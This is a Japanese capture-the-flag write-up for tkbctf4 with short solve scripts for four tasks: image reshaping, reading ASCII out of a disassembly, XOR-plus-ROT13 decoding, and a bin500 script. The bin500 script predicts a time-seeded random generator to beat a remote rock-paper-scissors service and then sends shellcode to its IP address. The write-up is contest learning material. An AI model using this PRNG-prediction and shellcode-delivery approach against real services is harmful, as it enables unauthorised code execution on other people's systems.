tkbctf4 writeup
- 画像のやつ
72900 = 270^2なので適当に調整
import PIL.Image im = PIL.Image.open("monochrome_bar.png") out = PIL.Image.new("RGB", (270, 270)) for i in range(270): for j in range(270): c = im.getpixel((i*270+j, 0)) out.putpixel((j, i), (c, c, c)) out.save("out.png")
- bin100
テキトーにやったら解けた。ほとんどエスパー。
0x00000000004005d2 <+18>: mov DWORD PTR [rsp+0x3f0],0x6b 0x00000000004005dd <+29>: mov DWORD PTR [rsp+0x3f4],0x6b 0x00000000004005e8 <+40>: mov rbp,rsp 0x00000000004005eb <+43>: mov DWORD PTR [rsp+0x3f8],0x6a 0x00000000004005f6 <+54>: mov DWORD PTR [rsp+0x3fc],0x6a 0x0000000000400601 <+65>: mov QWORD PTR [rsp+0x420],rax 0x0000000000400609 <+73>: movzx eax,WORD PTR [rip+0x340] # 0x400950 <__dso_handle+48> 0x0000000000400610 <+80>: mov DWORD PTR [rsp+0x400],0x68 0x000000000040061b <+91>: mov DWORD PTR [rsp+0x404],0x6c 0x0000000000400626 <+102>: mov DWORD PTR [rsp+0x408],0x68 0x0000000000400631 <+113>: mov DWORD PTR [rsp+0x40c],0x6c 0x000000000040063c <+124>: mov DWORD PTR [rsp+0x410],0x62 0x0000000000400647 <+135>: mov DWORD PTR [rsp+0x414],0x61
と明らかにASCIIを積んでるので文字列にする。
コピペしたら遅いと怒られたので
echo "hoge" | ./bin100
とすると良い。
- bin200
簡単な割にメチャクチャ時間がかかった。
dats = [[0xc2, 0xc8, 0xdf, 0xc5, 0xea, 0xc3, 0xf0], [0xe5, 0xf0, 0xfe, 0xe0, 0xe3, 0xc8, 0xfe], [0xc0, 0xe5, 0xf6, 0xf5, 0xf4, 0xd0, 0xf6], [0xf6, 0xfb, 0xed, 0xe6, 0xee, 0xab, 0xe9]] for i, v in enumerate(dats): x = 0x90 + i + 1 print "".join([chr(d^x) for d in v])
出力された文字をROT13に掛ける
- bin500
srand(time)系。じゃんけんに必勝出来る所で時間切れ。shellcodeが上手く動いてくれなかった。
乱数を吐くだけのプログラムをCで作り、Pythonで受け取ってやると良い。
python bin500.py $(date +%s)
import subprocess import sys import socket def func(ecx): edx = (ecx * 0x55555556) / 0x100000000 eax = (ecx * 0x55555556) % 0x100000000 eax = ecx eax >>= 0x1F edx -= eax eax = edx*3 ecx -= eax return ecx s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("203.178.132.117", 3939)) p = subprocess.Popen(['./time', sys.argv[1]], stdout=subprocess.PIPE, ) for i, rand in enumerate(map(int, p.stdout.readlines())): print i if i == 7: break print s.recv(1024) s.sendall("%d\n" % ((func(rand)+1)%3)) s.sendall(open("shellcode", "rb").read()) while 1: content = s.recv(1024) if content: print content